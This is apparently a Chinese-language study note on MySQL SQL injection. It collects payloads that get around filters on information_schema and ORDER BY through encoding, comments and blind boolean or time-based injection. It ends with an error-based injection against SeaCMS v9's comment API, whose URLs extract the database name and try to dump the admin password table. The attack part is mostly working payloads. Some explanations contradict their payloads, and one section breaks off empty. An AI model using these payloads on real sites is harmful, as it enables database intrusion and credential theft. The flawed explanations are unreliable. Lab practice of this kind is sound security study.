绕过information_schema;绕过Order by;seacmsv9实现联合注入数据
一、绕过过滤information_schema
1. 替代系统表或视图
如果 information_schema 被直接过滤,可以使用其他系统表或视图来获取元数据,但有版本限制
(1) 使用 sys 数据库(MySQL 5.7+)
--获取所有表名
SELECT table_name FROM sys.schema_auto_increment_columns WHERE table_schema = DATABASE();
--获取所有列名
SELECT table_name, column_name FROM sys.schema_columns WHERE table_schema = DATABASE();
(2) 使用 mysql.innodb_table_stats
--获取表名
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();
(3) 使用 mysql.tables_priv
--获取表名
SELECT table_name FROM mysql.tables_priv WHERE db = DATABASE();
2.编码混淆绕过
(1) URL 编码
将 information_schema 转换为 URL 编码:
SELECT table_name FROM %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61.tables WHERE table_schema=DATABASE();
(2) Unicode 编码
SELECT table_name FROM information\u005f_schema.tables WHERE table_schema=DATABASE();
(3) 十六进制编码
SELECT table_name FROM 0x696e666f726d6174696f6e5f736368656d61.tables WHERE table_schema=DATABASE();
3. 内联注释绕过
利用 MySQL 的 /*!*/ 注释分割关键词:
SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();
4. 关键字分割
通过空格、换行符或特殊字符分割 information_schema:
SELECT table_name FROM information/**/_schema.tables WHERE table_schema=DATABASE();
二、绕过过滤Order by
1. 使用 UNION SELECT 绕过
如果 ORDER BY 被过滤,可以尝试通过 UNION SELECT 注入数据。
1' UNION SELECT 1,2,3 --
确保 UNION SELECT 的列数与原查询一致。
通过 UNION SELECT 提取数据,例如表名、列名等。
2. 使用 CASE WHEN 盲注
通过 CASE WHEN 构造布尔条件,实现盲注。
布尔盲注
ORDER BY (CASE WHEN (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a' THEN SLEEP(5) ELSE 1 END);
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
时间盲注
如果表名的第一个字符是 a,则延迟 5 秒。
3. 使用 IF 函数
通过 IF 函数构造条件,实现盲注。
布尔盲注
ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',1,2);
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
时间盲注
ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',SLEEP(5),1);
如果表名的第一个字符是 a,则延迟 5 秒。
4. 使用 FIELD 函数
通过 FIELD 函数构造条件,实现盲注。
ORDER BY FIELD((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),'a',1,2);
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
5. 使用 REGEXP 正则表达式
通过 REGEXP 构造条件,实现盲注。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) REGEXP '^a';
如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。
6. 使用 ASCII 函数
通过 ASCII 函数逐字符判断,实现盲注。
ORDER BY ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97;
如果表名的第一个字符的 ASCII 码是 97(即 a),则按 1 排序;否则按 2 排序。
7. 使用 LIMIT 和 OFFSET
通过 LIMIT 和 OFFSET 逐行提取数据。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0);
提取第一行的表名。
8. 使用 GROUP BY 和 HAVING
通过 GROUP BY 和 HAVING 构造条件,实现盲注。
GROUP BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) HAVING 1=1;
提取表名并分组。
9. 使用 JOIN 子查询
通过 JOIN 子查询提取数据。
ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1);
提取表名并排序。
10. 使用 UNION 和 SELECT 子查询
通过 UNION 和 SELECT 子查询提取数据。
1' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) --
提取表名并注入到查询结果中。
三、seacmsv9实现报错注入数据
后端代码:
gid=1:评论组 ID。
page=2:页码。
rlist[]=...:评论 ID 列表(注入点)。
补充:concat_ws和 concat的区别:
1. CONCAT 函数
语法
sql
复制
CONCAT(string1, string2, ...)
功能
将多个字符串按顺序拼接在一起。
如果任意一个字符串为 NULL,则整个结果为 NULL。
示例
sql
复制
SELECT CONCAT('Hello', ' ', 'World'); -- 输出: 'Hello World'
SELECT CONCAT('Hello', NULL, 'World'); -- 输出: NULL
2. CONCAT_WS 函数
语法
sql
复制
CONCAT_WS(separator, string1, string2, ...)
功能
将多个字符串按顺序拼接在一起,并在每个字符串之间插入指定的分隔符。
如果分隔符为 NULL,则结果为 NULL。
如果某个字符串为 NULL,则忽略该字符串,但不会影响其他字符串的拼接。
示例
sql
复制
SELECT CONCAT_WS('-', '2023', '10', '05');
-- 输出: '2023-10-05'
SELECT CONCAT_WS('-', '2023', NULL, '05');
-- 输出: '2023-05'
SELECT CONCAT_WS(NULL, '2023', '10', '05');
-- 输出: NULL
3. 主要区别
当我们输入以下时会回显数据库名:
127.0.0.1/cmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@`%27`
当爆数据库用户密码时又不回显了
127.0.0.1/cmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
注入失败!